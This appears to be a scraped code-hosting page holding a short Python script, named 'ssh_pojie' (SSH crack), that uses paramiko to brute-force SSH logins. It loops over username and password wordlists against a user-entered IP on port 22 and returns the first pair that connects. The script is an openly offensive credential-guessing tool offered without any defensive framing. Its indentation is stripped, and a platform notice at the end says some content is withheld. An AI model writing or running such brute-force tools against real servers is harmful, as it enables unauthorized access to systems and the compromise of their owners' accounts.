代码拉取完成,页面将自动刷新
import paramiko
def ssh_pojie(ip,port,user_file,passwd_file):
f = open(user_file,"r")
username = f.readlines()
f.close()
for user in username:
user = user.replace("\n","")
f = open(passwd_file,"r")
passwdlist = f.readlines()
f.close()
for passwd in passwdlist:
passwd = passwd.replace("\n","")
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname=ip,port=port,username=user,password=passwd)
print(f"{user}-{passwd},链接成功!!")
return user,passwd
except:
print(f"{user}-{passwd},链接错误!")
client.close()
def main():
user_file = "username.txt"
passwd_file = "passwd.txt"
ip = input("请输入IP地址")
port = 22
ssh_pojie(ip,port,user_file,passwd_file)
if __name__ =="__main__":
main()
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。